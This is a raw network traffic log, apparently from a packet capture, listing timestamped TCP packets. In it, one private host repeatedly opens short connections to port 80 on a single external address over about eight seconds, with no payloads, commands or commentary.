Feb 8, 2023 21:33:37.296184063 CET	50176	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:37.299668074 CET	50177	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:37.359098911 CET	80	50176	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:37.359200001 CET	50176	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:37.362970114 CET	80	50177	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:37.363236904 CET	50177	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:37.364650965 CET	50177	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:37.427593946 CET	80	50177	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:37.431649923 CET	80	50177	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:37.431747913 CET	50177	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:37.545850039 CET	50177	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:37.546813965 CET	50178	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:37.609399080 CET	80	50178	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:37.609437943 CET	80	50177	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:37.609543085 CET	50178	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:37.609575033 CET	50177	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:37.609951019 CET	50178	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:37.672358036 CET	80	50178	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:37.674874067 CET	80	50178	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:37.674994946 CET	50178	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:37.795444965 CET	50178	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:37.796329021 CET	50179	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:37.855326891 CET	80	50178	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:37.855407953 CET	50178	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:37.858115911 CET	80	50179	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:37.860182047 CET	50179	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:37.860729933 CET	50179	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:37.922516108 CET	80	50179	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:37.925077915 CET	80	50179	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:37.925184011 CET	50179	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:38.029934883 CET	50179	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:38.030746937 CET	50180	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:38.093328953 CET	80	50179	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:38.093728065 CET	80	50180	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:38.093952894 CET	50179	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:38.094026089 CET	50180	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:38.094943047 CET	50180	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:38.156991959 CET	80	50180	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:38.160731077 CET	80	50180	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:38.160818100 CET	50180	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:38.265573978 CET	50180	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:38.267354012 CET	50181	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:38.327326059 CET	80	50180	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:38.327472925 CET	50180	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:38.329905987 CET	80	50181	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:38.330044985 CET	50181	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:38.330595970 CET	50181	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:38.393030882 CET	80	50181	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:38.395766973 CET	80	50181	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:38.395946980 CET	50181	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:38.498003960 CET	50181	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:38.499038935 CET	50182	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:38.558885098 CET	80	50182	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:38.559653044 CET	50182	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:38.560889959 CET	50182	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:38.561675072 CET	80	50181	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:38.563826084 CET	50181	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:38.620225906 CET	80	50182	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:38.623030901 CET	80	50182	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:38.623159885 CET	50182	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:38.732245922 CET	50182	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:38.732964039 CET	50183	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:38.791939974 CET	80	50182	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:38.792140961 CET	50182	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:38.794667959 CET	80	50183	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:38.794835091 CET	50183	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:38.796160936 CET	50183	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:38.857719898 CET	80	50183	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:38.859824896 CET	80	50183	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:38.859966993 CET	50183	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:38.967046976 CET	50183	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:38.967856884 CET	50184	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:39.028460026 CET	80	50184	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:39.028671980 CET	50184	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:39.028795958 CET	80	50183	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:39.028886080 CET	50183	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:39.029652119 CET	50184	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:39.090289116 CET	80	50184	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:39.094435930 CET	80	50184	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:39.094712973 CET	50184	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:39.201714993 CET	50185	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:39.201872110 CET	50184	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:39.262299061 CET	80	50185	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:39.262337923 CET	80	50184	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:39.262485981 CET	50184	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:39.262510061 CET	50185	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:39.263108015 CET	50185	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:39.323573112 CET	80	50185	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:39.326050043 CET	80	50185	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:39.326235056 CET	50185	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:39.441626072 CET	50185	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:39.442373037 CET	50186	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:39.502320051 CET	80	50185	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:39.502470016 CET	50185	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:39.503952980 CET	80	50186	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:39.504167080 CET	50186	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:39.504951000 CET	50186	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:39.566488028 CET	80	50186	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:39.570188999 CET	80	50186	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:39.570462942 CET	50186	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:39.686868906 CET	50186	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:39.688317060 CET	50187	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:39.749192953 CET	80	50186	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:39.749238014 CET	80	50187	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:39.749355078 CET	50186	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:39.749434948 CET	50187	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:39.749922991 CET	50187	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:39.810631990 CET	80	50187	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:39.813281059 CET	80	50187	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:39.813430071 CET	50187	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:39.920048952 CET	50187	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:39.921112061 CET	50188	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:39.980667114 CET	80	50187	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:39.980753899 CET	50187	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:39.982300997 CET	80	50188	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:39.982430935 CET	50188	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:39.982940912 CET	50188	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:40.044389009 CET	80	50188	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:40.048501015 CET	80	50188	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:40.048671007 CET	50188	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:40.154555082 CET	50188	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:40.155288935 CET	50189	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:40.216012955 CET	80	50188	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:40.216178894 CET	50188	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:40.217727900 CET	80	50189	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:40.217885017 CET	50189	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:40.218272924 CET	50189	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:40.282809019 CET	80	50189	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:40.283301115 CET	80	50189	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:40.283425093 CET	50189	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:40.390172005 CET	50189	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:40.392937899 CET	50190	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:40.453365088 CET	80	50189	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:40.453536987 CET	50189	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:40.455387115 CET	80	50190	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:40.455555916 CET	50190	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:40.457307100 CET	50190	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:40.519735098 CET	80	50190	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:40.522316933 CET	80	50190	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:40.522418022 CET	50190	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:40.639317989 CET	50190	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:40.640091896 CET	50191	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:40.701734066 CET	80	50191	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:40.701775074 CET	80	50190	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:40.701916933 CET	50190	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:40.701931000 CET	50191	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:40.706397057 CET	50191	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:40.768181086 CET	80	50191	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:40.770910978 CET	80	50191	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:40.771083117 CET	50191	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:40.896675110 CET	50191	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:40.897607088 CET	50192	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:40.958122015 CET	80	50192	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:40.958261013 CET	50192	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:40.958385944 CET	80	50191	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:40.958461046 CET	50191	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:40.958822966 CET	50192	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:41.019288063 CET	80	50192	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:41.021773100 CET	80	50192	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:41.021915913 CET	50192	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:41.139202118 CET	50192	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:41.139844894 CET	50193	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:41.199846029 CET	80	50192	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:41.199975967 CET	50192	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:41.202142000 CET	80	50193	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:41.202333927 CET	50193	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:41.207055092 CET	50193	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:41.269501925 CET	80	50193	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:41.273262978 CET	80	50193	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:41.273345947 CET	50193	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:41.399238110 CET	50193	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:41.400546074 CET	50194	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:41.460141897 CET	80	50194	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:41.460294008 CET	50194	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:41.460819006 CET	50194	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:41.461672068 CET	80	50193	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:41.461764097 CET	50193	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:41.520098925 CET	80	50194	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:41.522612095 CET	80	50194	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:41.522799015 CET	50194	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:41.639336109 CET	50194	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:41.641860962 CET	50195	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:41.698879957 CET	80	50194	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:41.698995113 CET	50194	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:41.703315973 CET	80	50195	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:41.703495026 CET	50195	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:41.704353094 CET	50195	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:41.765666008 CET	80	50195	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:41.769680977 CET	80	50195	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:41.769839048 CET	50195	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:41.877723932 CET	50195	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:41.878518105 CET	50196	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:41.940844059 CET	80	50196	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:41.940960884 CET	80	50195	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:41.941164970 CET	50195	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:41.941741943 CET	50196	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:41.941741943 CET	50196	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:42.003597021 CET	80	50196	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:42.006381035 CET	80	50196	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:42.006530046 CET	50196	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:42.123272896 CET	50196	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:42.124080896 CET	50197	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:42.187830925 CET	80	50196	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:42.187875986 CET	80	50197	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:42.188010931 CET	50196	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:42.188054085 CET	50197	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:42.188563108 CET	50197	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:42.250042915 CET	80	50197	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:42.254254103 CET	80	50197	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:42.254338026 CET	50197	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:42.358988047 CET	50197	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:42.360668898 CET	50198	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:42.428757906 CET	80	50197	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:42.428801060 CET	80	50198	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:42.428916931 CET	50197	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:42.429022074 CET	50198	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:42.429543972 CET	50198	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:42.491885900 CET	80	50198	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:42.494379997 CET	80	50198	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:42.497080088 CET	50198	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:42.608351946 CET	50198	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:42.609164000 CET	50199	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:42.671756983 CET	80	50199	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:42.672039032 CET	50199	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:42.672923088 CET	80	50198	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:42.673024893 CET	50198	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:42.673837900 CET	50199	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:42.735984087 CET	80	50199	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:42.738421917 CET	80	50199	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:42.738636017 CET	50199	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:42.859517097 CET	50199	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:42.864634991 CET	50200	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:42.919989109 CET	80	50199	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:42.920157909 CET	50199	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:42.926125050 CET	80	50200	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:42.926321030 CET	50200	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:42.926769972 CET	50200	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:42.988059998 CET	80	50200	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:42.995301008 CET	80	50200	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:42.995501995 CET	50200	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:43.112059116 CET	50200	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:43.113243103 CET	50201	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:43.173579931 CET	80	50200	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:43.173774958 CET	50200	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:43.175585032 CET	80	50201	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:43.175812006 CET	50201	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:43.176177025 CET	50201	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:43.238409042 CET	80	50201	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:43.243904114 CET	80	50201	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:43.244112015 CET	50201	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:43.358215094 CET	50201	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:43.359693050 CET	50202	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:43.420841932 CET	80	50201	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:43.420973063 CET	50201	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:43.422291040 CET	80	50202	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:43.422425985 CET	50202	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:43.422784090 CET	50202	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:43.485167027 CET	80	50202	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:43.487746000 CET	80	50202	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:43.487858057 CET	50202	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:43.593189001 CET	50202	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:43.594368935 CET	50203	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:43.655745983 CET	80	50203	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:43.655785084 CET	80	50202	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:43.656064034 CET	50203	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:43.656171083 CET	50202	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:43.656635046 CET	50203	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:43.717921972 CET	80	50203	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:43.720843077 CET	80	50203	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:43.720989943 CET	50203	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:43.829173088 CET	50203	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:43.831830025 CET	50204	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:43.892587900 CET	80	50203	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:43.892793894 CET	50203	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:43.895488024 CET	80	50204	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:43.895664930 CET	50204	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:43.896147013 CET	50204	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:43.957911015 CET	80	50204	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:43.961380959 CET	80	50204	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:43.961483955 CET	50204	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:44.076643944 CET	50204	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:44.077517986 CET	50205	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:44.138278961 CET	80	50204	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:44.138509989 CET	50204	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:44.139750957 CET	80	50205	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:44.139892101 CET	50205	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:44.143096924 CET	50205	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:44.205388069 CET	80	50205	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:44.209775925 CET	80	50205	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:44.209871054 CET	50205	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:44.326885939 CET	50205	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:44.334347010 CET	50206	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:44.389516115 CET	80	50205	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:44.389707088 CET	50205	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:44.395956039 CET	80	50206	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:44.396119118 CET	50206	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:44.396612883 CET	50206	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:44.458086014 CET	80	50206	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:44.460964918 CET	80	50206	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:44.461074114 CET	50206	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:44.581038952 CET	50206	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:44.581999063 CET	50207	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:44.642992020 CET	80	50206	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:44.643101931 CET	50206	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:44.644694090 CET	80	50207	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:44.644825935 CET	50207	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:44.645255089 CET	50207	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:44.708230972 CET	80	50207	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:44.711065054 CET	80	50207	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:44.711214066 CET	50207	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:44.826854944 CET	50207	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:44.827635050 CET	50208	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:44.889580011 CET	80	50207	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:44.889911890 CET	80	50208	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:44.890081882 CET	50207	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:44.890115023 CET	50208	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:44.891091108 CET	50208	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:44.953514099 CET	80	50208	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:44.956182957 CET	80	50208	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:44.956365108 CET	50208	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:45.068465948 CET	50208	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:45.069360971 CET	50209	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:45.131377935 CET	80	50208	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:45.131552935 CET	50208	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:45.134145975 CET	80	50209	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:45.134296894 CET	50209	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:45.134670019 CET	50209	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:45.197170973 CET	80	50209	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:45.201533079 CET	80	50209	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:45.204252005 CET	50209	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:45.311758995 CET	50209	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:45.313193083 CET	50210	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:45.375489950 CET	80	50209	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:45.375689030 CET	50209	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:45.376293898 CET	80	50210	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:45.379664898 CET	50210	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:45.381774902 CET	50210	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:45.444171906 CET	80	50210	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:45.448935032 CET	80	50210	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:45.452378988 CET	50210	80	192.168.2.3	62.204.41.4
